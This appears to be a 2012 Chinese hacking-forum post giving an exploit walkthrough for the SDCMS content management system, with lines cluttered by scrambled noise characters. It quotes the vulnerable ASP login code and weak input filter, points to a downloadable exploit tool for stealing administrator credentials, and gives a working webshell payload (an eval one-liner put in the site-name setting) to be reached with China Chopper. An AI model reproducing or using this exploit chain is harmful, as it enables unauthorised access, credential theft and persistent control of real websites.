找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3691|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
作者:T00LS 鬼哥
7 }/ u7 [7 k- V( g2 |6 L. k漏洞文件:后台目录/index.asp
  Q0 x2 P6 w8 M) j: e' @2 q# v9 W9 g2 G5 [/ H' \" _
Sub Check
/ f0 Y, B6 _5 \  \$ K- [( ^    Dim username,password,code,getcode,Rs
2 k6 T0 R" R; x! `4 A+ q- W7 [/ D# E( _    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
" C& Y, g7 ?+ Z( J: C    username=FilterText(Trim(Request.Form("username")),1)
+ W5 ^5 j  I' o    password=FilterText(Trim(Request.Form("password")),1)) q, |. H/ X! @7 ^6 b3 {
    code=Trim(Request.Form("yzm")): L% ?- F% _+ X9 {* H
    getcode=Session("SDCMSCode")3 Y$ ^1 \  a. M% X( E
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died& Q* f0 D5 f) Y
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied) j* E2 P, @/ e# w- i# q
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
3 d% z" D) d2 \, ]$ a# O+ }+ B    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied- ^2 r. {+ d. U: ~0 t
    IF username="" or password="" Then
% U" n$ j- ~2 v+ a        Echo "用户名或密码不能为空"ied
0 `, H7 x, `7 Y2 Y; q    Else
1 }: R6 ~* o: T2 ^% |# w        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")7 U! r! Q9 x' Z% F5 D8 u* ^: G5 }
        IF Rs.Eof Then9 _; g2 y! ~3 ~* j' ?/ @
            AddLog username,GetIp,"登录失败",1
9 B& i/ p( b/ D' o- j7 ^; U# K            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"3 @) B7 K3 `: \
        Else
$ ~* ?/ [9 C* L0 b, f( y; z2 ]            Add_Cookies "sdcms_id",Rs(0)! J; C& h% a3 K% d5 v. s, R
            Add_Cookies "sdcms_name",username
/ y8 C4 Q; Y, }            Add_Cookies "sdcms_pwd",Rs(2)
) W1 \: g; `+ a3 _% X" U) U4 v            Add_Cookies "sdcms_admin",Rs(3)/ p- Z; d) @+ o; Q4 \2 n4 W+ J
            Add_Cookies "sdcms_alllever",Rs(4)
# O& S0 D9 k- K3 V- U5 }7 M5 a            Add_Cookies "sdcms_infolever",Rs(5)# \& `' [  f5 N/ a% Y# W) D
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
* p7 w# r( M7 K            AddLog username,GetIp,"登录成功",1$ m: o( T: i" y
            '自动删除30天前的Log记录
" Q0 U  o  j7 n6 \            IF Sdcms_DataType Then
, N9 n! t4 |* G8 W! K$ _                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")9 y: `: c; x2 l
            Else! Q, F. q8 d) r4 T' ]' C, u9 V
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
& A7 f2 B' [; L* G. k. t5 M' T            End IF
$ x+ z$ K& U, N  w( o* [6 |' v5 a8 P            Go("sdcms_index.asp")$ ]9 H7 s& e' g
        End IF
+ M6 k* m) X% `7 v, f& U& o5 t& Z        Rs.Close/ z' Y) Z& L, K0 C
        Set Rs=Nothing+ o1 a. ^& k* d5 q; o2 e6 K4 s
    End IF  i0 x: D% \# I3 R. X0 [% N
End Sub
  R1 U0 O6 J# ]5 e. \5 i
# h  T" k2 g' A; g’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
" c* r! h; j/ Y% |% L& J8 [
, }1 P- a2 r4 h0 R. DFunction FilterText(ByVal t0,ByVal t1)
; F/ @* w6 R. p9 B7 v    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function/ A# w$ ^* l0 t8 A
    t0=Trim(t0)
! k: m# W2 Z( t9 L2 U    Select Case t1
6 j: Z7 W2 Q# v# s3 |5 c" i$ w        Case "1"4 z. o7 J9 l; |
            t0=Replace(t0,Chr(32),"")
0 F1 o& }" ]7 j9 l7 |6 J- v            t0=Replace(t0,Chr(13),"")2 W( f' W4 I4 x4 S$ q
            t0=Replace(t0,Chr(10)&Chr(10),"")
; R2 x% @, |. i- T7 p            t0=Replace(t0,Chr(10),"")
5 b6 j/ n2 ^8 a# ^7 {: C; j        Case "2"1 Z8 Z0 @. Y* t: [5 }% {
            t0=Replace(t0,Chr(8),"")'回格5 c2 I3 m; c1 r% ]- V
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)/ D3 ?0 o2 J0 ~+ T5 o
            t0=Replace(t0,Chr(10),"")'换行/ Y- b" U3 R1 q* C) @9 j- R
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)& V9 m! I; l( M1 p$ f
            t0=Replace(t0,Chr(12),"")'换页
/ W; @' D5 T/ `" \# S7 F4 i            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
+ \& z  p% e( X3 {+ ]: v            t0=Replace(t0,Chr(22),"")2 h8 Q; L" M2 C! X
            t0=Replace(t0,Chr(32),"")'空格 SPACE
9 r, Q& R8 U* W            t0=Replace(t0,Chr(33),"")'!1 O: b; b4 h1 ]; y
            t0=Replace(t0,Chr(34),"")'"" j2 C; f9 U( R1 ~+ w
            t0=Replace(t0,Chr(35),"")'#
+ R! q3 i+ o8 @6 ~4 K            t0=Replace(t0,Chr(36),"")'$7 A, \% P# ~8 }
            t0=Replace(t0,Chr(37),"")'%4 ]" k* ~# a/ K& a
            t0=Replace(t0,Chr(38),"")'&" e* f! Y' R9 t' e
            t0=Replace(t0,Chr(39),"")''8 P& Z0 _  D. b* X1 b* Y+ W
            t0=Replace(t0,Chr(40),"")'(+ g8 w# o. @( Y% x
            t0=Replace(t0,Chr(41),"")')
/ ?7 {$ k9 Q4 r3 c  Y            t0=Replace(t0,Chr(42),"")'*
" ]% }' i5 R! O            t0=Replace(t0,Chr(43),"")'+
1 |" K% ^" {% Q9 b9 s7 N4 y            t0=Replace(t0,Chr(44),"")',, K; o9 g4 r1 [: w5 Q; |
            t0=Replace(t0,Chr(45),"")'-0 D' A0 T0 m/ f: f* f$ K) d5 X
            t0=Replace(t0,Chr(46),"")'., o+ n4 Y* E; Y& W" ^4 H9 O- ]
            t0=Replace(t0,Chr(47),"")'/
+ {9 x* u8 \9 q3 x            t0=Replace(t0,Chr(58),"")':7 U6 k+ e2 @' D' P* \
            t0=Replace(t0,Chr(59),"")';) j6 ~3 ]4 u. u4 K& B
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>7 M2 @) ?- v: n% I+ {3 s2 d/ g1 y
            t0=Replace(t0,Chr(63),"")'?- g& o9 n3 V) e5 ?, k, D7 @) Y
            t0=Replace(t0,Chr(64),"")'@  C( X; a* j" E1 g9 O1 A1 K% n6 H; p$ I
            t0=Replace(t0,Chr(91),"")'\$ X0 h/ u5 k* Z3 V
            t0=Replace(t0,Chr(92),"")'\
. i) _4 Q2 B: b3 m$ Z            t0=Replace(t0,Chr(93),"")']
) s% K% S9 [5 R0 d+ B- `            t0=Replace(t0,Chr(94),"")'^
& U( b, t5 g( Q            t0=Replace(t0,Chr(95),"")'_
$ v2 A* h; `. b            t0=Replace(t0,Chr(96),"")'`5 L6 D& E9 s& d; v; A/ d/ D3 x
            t0=Replace(t0,Chr(123),"")'{
2 ]. T4 `; t+ ]& Z% q            t0=Replace(t0,Chr(124),"")'|
8 Q# q% Z: B4 O. l0 M: u' S            t0=Replace(t0,Chr(125),"")'}
* L8 A5 k, R# Q) k            t0=Replace(t0,Chr(126),"")'~
# A! z% j& h/ |2 I& q" l% U    Case Else
; j7 a; K/ K# x. B' O% E; L6 H: t        t0=Replace(t0, "&", "&")
3 N, V8 Y1 |" s" T) @7 s/ G        t0=Replace(t0, "'", "'")
7 F: [% S7 ?$ H        t0=Replace(t0, """", """)
* T4 s' ?2 T) c& e2 ]' e1 f        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
7 Z7 \9 m3 a; s* ~" U    End Select
" Q3 T0 P! S1 E# b* H8 w    IF Instr(Lcase(t0),"expression")>0 Then
8 {" t0 h) o5 p6 f( n# |2 z        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
  p4 L1 O0 ]# l    End If. |: G/ P, |1 Y1 v% j  U/ U
    FilterText=t07 ~" T0 x; X# [  C/ Y: z+ S: @
End Function% R, L" N, x1 K; ?  W/ |

  ~6 i7 i. ]4 O( r' }& b3 o% m+ h" [看到没。直接参数是1 只过滤
  j% f; P* ^; _7 ^( }                        t0=Replace(t0,Chr(32)," ")
/ L5 ?( S! X8 M! {# Y                        t0=Replace(t0,Chr(13),"")
2 s7 o) v6 d0 e5 S                        t0=Replace(t0,Chr(10)&Chr(10),"
/ D' S( H  P' }8 |")
; d4 m! o. \2 b  B                        t0=Replace(t0,Chr(10),"
% {# p1 G9 Z9 I$ ?")
7 N0 ?9 P- d1 u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
/ V3 w. v- k: n6 ], q. ]8 r( K: r- uEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP6 e4 t& _/ o2 V7 b8 T, r( M# Z
1 k7 r7 f) B8 z9 E
测试:3 }( Z4 d, j5 o; R

1 Z, j3 e% g! _" B& p
% M& \7 M" g5 ^" B现在输入工具上验证码,然后点OK3 ]) u, `7 p# [* t: `  H
/ R: J5 J* R6 X8 Z/ W

9 \- a5 N/ K: n- N2 p! j4 {看到我们直接进入后台管理界面了,呵呵!
" T7 s% q% q; C7 x4 Y& K/ ]6 o8 a& h' q& R( Z0 V) h$ A
" b& Y5 \. A; ]2 B
1 G( U7 w9 `: I' G
这样直接进入后台了。。。。, p& N& q& k8 T7 Y: ^
5 N$ d8 o3 x/ ?  r1 _4 {$ ?
; f; o; @0 W5 {2 l7 \. N

3 n+ |% W6 ^; z+ qSDCMS提权:8 [- u+ |3 R, Z5 [, N6 o; @! g
* G& _! d$ T& |
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?6 [' X% n/ c: y$ r5 D2 ]" D( m0 f

; G% Q2 i. s3 N
" B/ w% P0 l' G1 ^, ^, Y% D+ ?
2 z) z, @2 b, EOK,现在用菜刀连接下!, \# z9 w; r4 x3 d$ a' c

3 P8 ^0 L# U/ z4 b" ?' E
$ f8 z# o. ^8 P' H( `8 }' X6 z6 X) m0 x" g6 B

! n+ j* X0 z8 }: {% p5 I0 v7 z( N* S  W- Y' Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表